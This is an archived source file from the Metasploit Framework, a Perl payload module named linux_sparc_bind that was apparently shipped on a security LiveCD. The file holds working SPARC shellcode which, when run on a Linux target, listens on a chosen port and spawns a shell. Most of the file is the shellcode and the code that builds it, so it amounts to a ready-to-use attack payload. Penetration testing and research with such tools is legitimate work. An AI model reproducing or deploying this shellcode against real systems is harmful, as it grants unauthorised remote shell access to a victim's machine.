home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / linux_sparc_bind.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  71 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::linux_sparc_bind;
  11. use base 'Msf::PayloadComponent::BindConnection';
  12. use strict;
  13. use Pex::SPARC;
  14.  
  15. my $info =
  16. {
  17.   'Name'         => 'Linux SPARC Bind Shell',
  18.   'Version'      => '$Revision: 1.3 $',
  19.   'Description'  => 'Listen for connection and spawn a shell',
  20.   'Authors'      => [ 'vlad902 <vlad902 [at] gmail.com>', ],
  21.   'Arch'         => [ 'sparc' ],
  22.   'Priv'         => 0,
  23.   'OS'           => [ 'linux' ],
  24.   'Size'         => '',
  25. };
  26.  
  27. sub new {
  28.   my $class = shift;
  29.   my $hash = @_ ? shift : { };
  30.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  31.   my $self = $class->SUPER::new($hash, @_);
  32.  
  33.   $self->_Info->{'Size'} = $self->_GenSize;
  34.   return($self);
  35. }
  36.  
  37. sub Build {
  38.   my $self = shift;
  39.   return($self->Generate($self->GetVar('LPORT')));
  40. }
  41.  
  42. sub Generate {
  43.   my $self = shift;
  44.   my $port = shift;
  45.  
  46.   my $shellcode =
  47.     "\x9c\x2b\xa0\x07\xa0\x10\x20\x02\x90\x10\x20\x01\xe0\x23\xbf\xf4".
  48.     "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x92\x23\xa0\x0c\x82\x10\x20\xce".
  49.     "\x91\xd0\x20\x10\xa4\x23\xa0\x20\xa6\x10\x20\x10\xd0\x23\xbf\xf4".
  50.     "\xe6\x3b\xbf\xf8".
  51.     Pex::SPARC::Set(0x20000 | $port, "l4").
  52.     "\xaa\x1d\x40\x15\xe8\x3b\xbf\xe0\x90\x10\x20\x02\x91\xd0\x20\x10".
  53.     "\xa2\x10\x20\x01\xe2\x23\xbf\xf8\x90\x10\x20\x04\x91\xd0\x20\x10".
  54.     "\xc0\x23\xbf\xf8\xc0\x23\xbf\xfc\x90\x10\x20\x05\x91\xd0\x20\x10".
  55.     "\xd0\x23\xbf\xf4\x92\x10\x20\x03\x92\xa2\x60\x01\x82\x10\x20\x5a".
  56.     "\x91\xd0\x20\x10\x12\xbf\xff\xfd\xd0\x03\xbf\xf4\x94\x1a\xc0\x0b".
  57.     "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10".
  58.     "\x92\x23\xa0\x08\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc".
  59.     "\x82\x10\x20\x3b\x91\xd0\x20\x08";
  60.  
  61.   return $shellcode;
  62. }
  63.  
  64. sub _GenSize {
  65.   my $self = shift;
  66.   my $bin = $self->Generate('4444');
  67.   return(length($bin));
  68. }
  69.  
  70. 1;
  71.